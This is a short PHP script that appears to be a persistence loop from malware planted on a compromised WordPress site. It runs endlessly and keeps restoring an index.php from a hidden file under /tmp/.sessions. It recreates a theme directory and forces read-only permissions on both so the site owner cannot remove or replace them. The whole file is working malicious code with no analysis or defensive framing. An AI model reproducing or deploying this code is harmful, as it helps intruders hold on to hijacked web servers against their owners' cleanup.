<?php

@ini_set("max_execution_time", 0);

while (True){

    if (!file_exists("/var/www/biogenelab.eu/public_html/wp-content/themes/twentysixteen")){

        mkdir("/var/www/biogenelab.eu/public_html/wp-content/themes/twentysixteen");

    }

    if (!file_exists("/proc/9936/task/9939/index.php")){

        $text = base64_encode(file_get_contents("/tmp/.sessions/.L3Byb2MvOTkzNi90YXNrLzk5MzlpbmRleC10ZXh0"));

        file_put_contents("/proc/9936/task/9939/index.php", base64_decode($text));

    }

    if (gecko_perm("/proc/9936/task/9939/index.php") != 0444){

        chmod("/proc/9936/task/9939/index.php", 0444);

    }

    if (gecko_perm("/var/www/biogenelab.eu/public_html/wp-content/themes/twentysixteen") != 0555){

        chmod("/var/www/biogenelab.eu/public_html/wp-content/themes/twentysixteen", 0555);

    }

}

​

function gecko_perm($flename){

    return substr(sprintf("%o", fileperms($flename)), -4);

}

​